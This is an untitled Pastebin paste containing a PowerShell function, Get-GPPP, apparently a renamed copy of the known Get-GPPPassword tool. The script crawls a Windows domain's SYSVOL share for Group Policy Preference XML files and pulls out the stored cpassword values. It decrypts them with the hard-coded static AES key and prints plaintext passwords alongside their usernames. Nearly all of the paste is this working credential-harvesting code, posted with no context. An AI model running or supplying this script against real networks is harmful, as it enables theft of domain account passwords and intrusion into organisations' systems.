Advertisement
Guest User

Untitled

a guest
Nov 1st, 2018
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.34 KB | None | 0 0
  1. function Get-GPPP {
  2. [CmdletBinding()]
  3. Param (
  4. [ValidateNotNullOrEmpty()]
  5. [String]
  6. $Server = $Env:USERDNSDOMAIN
  7. )
  8. Set-StrictMode -Version 2
  9. function Get-DecryptedCpassword {
  10. [CmdletBinding()]
  11. Param (
  12. [string] $Cpassword
  13. )
  14.  
  15. try {
  16. $Mod = ($Cpassword.length % 4)
  17.  
  18. switch ($Mod) {
  19. '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
  20. '2' {$Cpassword += ('=' * (4 - $Mod))}
  21. '3' {$Cpassword += ('=' * (4 - $Mod))}
  22. }
  23.  
  24. $Base64Decoded = [Convert]::FromBase64String($Cpassword)
  25. $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
  26. [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
  27. 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
  28. $AesIV = New-Object Byte[]($AesObject.IV.Length)
  29. $AesObject.IV = $AesIV
  30. $AesObject.Key = $AesKey
  31. $DecryptorObject = $AesObject.CreateDecryptor()
  32. [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
  33.  
  34. return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
  35. }
  36.  
  37. catch {Write-Error $Error[0]}
  38. }
  39. function Get-GPPInnerFields {
  40. [CmdletBinding()]
  41. Param (
  42. $File
  43. )
  44.  
  45. try {
  46.  
  47. $Filename = Split-Path $File -Leaf
  48. [xml] $Xml = Get-Content ($File)
  49. $Cpassword = @()
  50. $UserName = @()
  51. $NewName = @()
  52. $Changed = @()
  53. $Password = @()
  54.  
  55. if ($Xml.innerxml -like "*cpassword*"){
  56.  
  57. Write-Verbose "Potential password in $File"
  58.  
  59. switch ($Filename) {
  60.  
  61. 'Groups.xml' {
  62. $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  63. $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  64. $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  65. $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  66. }
  67.  
  68. 'Services.xml' {
  69. $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  70. $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  71. $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  72. }
  73.  
  74. 'Scheduledtasks.xml' {
  75. $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  76. $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  77. $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  78. }
  79.  
  80. 'DataSources.xml' {
  81. $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  82. $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  83. $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  84. }
  85.  
  86. 'Printers.xml' {
  87. $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  88. $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  89. $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  90. }
  91.  
  92. 'Drives.xml' {
  93. $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  94. $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  95. $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  96. }
  97. }
  98. }
  99.  
  100. foreach ($Pass in $Cpassword) {
  101. Write-Verbose "Decrypting $Pass"
  102. $DecryptedPassword = Get-DecryptedCpassword $Pass
  103. Write-Verbose "Decrypted a password of $DecryptedPassword"
  104. $Password += , $DecryptedPassword
  105. }
  106.  
  107. if (!($Password)) {$Password = '[BLANK]'}
  108. if (!($UserName)) {$UserName = '[BLANK]'}
  109. if (!($Changed)) {$Changed = '[BLANK]'}
  110. if (!($NewName)) {$NewName = '[BLANK]'}
  111.  
  112. $ObjectProperties = @{'Passwords' = $Password;
  113. 'UserNames' = $UserName;
  114. 'Changed' = $Changed;
  115. 'NewName' = $NewName;
  116. 'File' = $File}
  117.  
  118. $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
  119. Write-Verbose "The password is between {} and may be more than one value."
  120. if ($ResultsObject) {Return $ResultsObject}
  121. }
  122.  
  123. catch {Write-Error $Error[0]}
  124. }
  125.  
  126. try {
  127. if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
  128. throw 'Machine is not a domain member or User is not a member of the domain.'
  129. }
  130. Write-Verbose "Searching \\$Server\SYSVOL."
  131. $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
  132.  
  133. if ( -not $XMlFiles ) {throw 'No preference files found.'}
  134.  
  135. Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain data."
  136.  
  137. foreach ($File in $XMLFiles) {
  138. $Result = (Get-GppInnerFields $File.Fullname)
  139. Write-Output $Result
  140. }
  141. }
  142.  
  143. catch {Write-Error $Error[0]}
  144. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement